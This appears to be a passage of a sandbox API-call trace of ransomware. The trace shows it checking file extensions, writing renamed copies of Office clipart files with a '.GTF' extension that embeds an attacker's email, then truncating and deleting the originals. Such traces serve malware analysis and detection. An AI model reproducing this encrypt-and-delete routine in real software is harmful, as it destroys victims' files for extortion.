	[0170.740] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.740] lstrlenW (lpString=".ppt") returned 4
	[0170.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.740] lstrlenW (lpString=".zip") returned 4
	[0170.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.740] lstrlenW (lpString=".rar") returned 4
	[0170.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.740] lstrlenW (lpString=".bz2") returned 4
	[0170.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.740] lstrlenW (lpString=".7z") returned 3
	[0170.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.740] lstrlenW (lpString=".dbf") returned 4
	[0170.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.740] lstrlenW (lpString=".1cd") returned 4
	[0170.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0170.740] lstrlenW (lpString=".jpg") returned 4
	[0170.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.740] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.740] lstrlenW (lpString="J0107512.WMF") returned 12
	[0170.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.741] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11404) returned 1
	[0170.741] CloseHandle (hObject=0x428) returned 1
	[0170.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220
	[0170.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.741] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.741] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.742] GetLastError () returned 0x0
	[0170.742] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2c8c, lpOverlapped=0x0) returned 1
	[0170.779] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2c90, lpOverlapped=0x0) returned 1
	[0170.811] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.811] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.811] SetEndOfFile (hFile=0x550) returned 1
	[0170.818] CloseHandle (hObject=0x550) returned 1
	[0170.818] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.818] SetEndOfFile (hFile=0x428) returned 1
	[0170.828] CloseHandle (hObject=0x428) returned 1
	[0170.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1
	[0170.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.830] lstrlenW (lpString=".doc") returned 4
	[0170.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.830] lstrlenW (lpString=".docx") returned 5
	[0170.831] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.831] lstrlenW (lpString=".pdf") returned 4
	[0170.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString=".xls") returned 4
	[0170.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.831] lstrlenW (lpString=".xlsx") returned 5
	[0170.831] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.831] lstrlenW (lpString=".ppt") returned 4
	[0170.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.831] lstrlenW (lpString=".zip") returned 4
	[0170.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.831] lstrlenW (lpString=".rar") returned 4
	[0170.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString=".bz2") returned 4
	[0170.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString=".7z") returned 3
	[0170.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.831] lstrlenW (lpString=".dbf") returned 4
	[0170.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.831] lstrlenW (lpString=".1cd") returned 4
	[0170.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.831] lstrlenW (lpString=".jpg") returned 4
	[0170.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.831] lstrlenW (lpString=".doc") returned 4
	[0170.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString=".docx") returned 5
	[0170.831] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.831] lstrlenW (lpString=".pdf") returned 4
	[0170.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.831] lstrlenW (lpString=".xls") returned 4
	[0170.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.832] lstrlenW (lpString=".xlsx") returned 5
	[0170.832] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.832] lstrlenW (lpString=".ppt") returned 4
	[0170.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.832] lstrlenW (lpString=".zip") returned 4
	[0170.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.832] lstrlenW (lpString=".rar") returned 4
	[0170.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.832] lstrlenW (lpString=".bz2") returned 4
	[0170.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.832] lstrlenW (lpString=".7z") returned 3
	[0170.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.832] lstrlenW (lpString=".dbf") returned 4
	[0170.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.832] lstrlenW (lpString=".1cd") returned 4
	[0170.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0170.832] lstrlenW (lpString=".jpg") returned 4
	[0170.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.832] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.832] lstrlenW (lpString="J0107516.WMF") returned 12
	[0170.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.833] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14008) returned 1
	[0170.833] CloseHandle (hObject=0x45c) returned 1
	[0170.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220
	[0170.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.834] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.834] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0170.835] GetLastError () returned 0x0
	[0170.835] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x36b8, lpOverlapped=0x0) returned 1
	[0170.912] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x36c0, lpOverlapped=0x0) returned 1
	[0170.913] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.920] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.920] SetEndOfFile (hFile=0x55c) returned 1
	[0170.920] CloseHandle (hObject=0x55c) returned 1
	[0170.920] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.920] SetEndOfFile (hFile=0x45c) returned 1
	[0170.932] CloseHandle (hObject=0x45c) returned 1
	[0170.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1
	[0170.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.934] lstrlenW (lpString=".doc") returned 4
	[0170.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.934] lstrlenW (lpString=".docx") returned 5
	[0170.934] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.934] lstrlenW (lpString=".pdf") returned 4
	[0170.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.934] lstrlenW (lpString=".xls") returned 4
	[0170.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.934] lstrlenW (lpString=".xlsx") returned 5
	[0170.935] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.935] lstrlenW (lpString=".ppt") returned 4
	[0170.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.935] lstrlenW (lpString=".zip") returned 4
	[0170.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.935] lstrlenW (lpString=".rar") returned 4
	[0170.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString=".bz2") returned 4
	[0170.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString=".7z") returned 3
	[0170.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.935] lstrlenW (lpString=".dbf") returned 4
	[0170.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.935] lstrlenW (lpString=".1cd") returned 4
	[0170.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString=".jpg") returned 4
	[0170.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString=".doc") returned 4
	[0170.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString=".docx") returned 5
	[0170.936] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.936] lstrlenW (lpString=".pdf") returned 4
	[0170.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString=".xls") returned 4
	[0170.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.936] lstrlenW (lpString=".xlsx") returned 5
	[0170.936] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.936] lstrlenW (lpString=".ppt") returned 4
	[0170.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString=".zip") returned 4
	[0170.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.936] lstrlenW (lpString=".rar") returned 4
	[0170.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString=".bz2") returned 4
	[0170.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString=".7z") returned 3
	[0170.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString=".dbf") returned 4
	[0170.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString=".1cd") returned 4
	[0170.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0170.936] lstrlenW (lpString=".jpg") returned 4
	[0170.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.937] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.937] lstrlenW (lpString="J0107528.WMF") returned 12
	[0170.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.948] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6792) returned 1
	[0170.948] CloseHandle (hObject=0x45c) returned 1
	[0170.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220
	[0170.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.949] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.949] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0170.951] GetLastError () returned 0x0
	[0170.951] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1a88, lpOverlapped=0x0) returned 1
	[0170.958] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0171.057] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.057] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.058] SetEndOfFile (hFile=0x55c) returned 1
	[0171.058] CloseHandle (hObject=0x55c) returned 1
	[0171.058] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.058] SetEndOfFile (hFile=0x45c) returned 1
	[0171.062] CloseHandle (hObject=0x45c) returned 1
	[0171.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.064] lstrlenW (lpString=".doc") returned 4
	[0171.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString=".docx") returned 5
	[0171.064] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.064] lstrlenW (lpString=".pdf") returned 4
	[0171.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString=".xls") returned 4
	[0171.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.064] lstrlenW (lpString=".xlsx") returned 5
	[0171.064] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.064] lstrlenW (lpString=".ppt") returned 4
	[0171.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.064] lstrlenW (lpString=".zip") returned 4
	[0171.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.064] lstrlenW (lpString=".rar") returned 4
	[0171.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString=".bz2") returned 4
	[0171.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString=".7z") returned 3
	[0171.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.064] lstrlenW (lpString=".dbf") returned 4
	[0171.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.064] lstrlenW (lpString=".1cd") returned 4
	[0171.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.064] lstrlenW (lpString=".jpg") returned 4
	[0171.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.065] lstrlenW (lpString=".doc") returned 4
	[0171.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString=".docx") returned 5
	[0171.065] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.065] lstrlenW (lpString=".pdf") returned 4
	[0171.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString=".xls") returned 4
	[0171.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.065] lstrlenW (lpString=".xlsx") returned 5
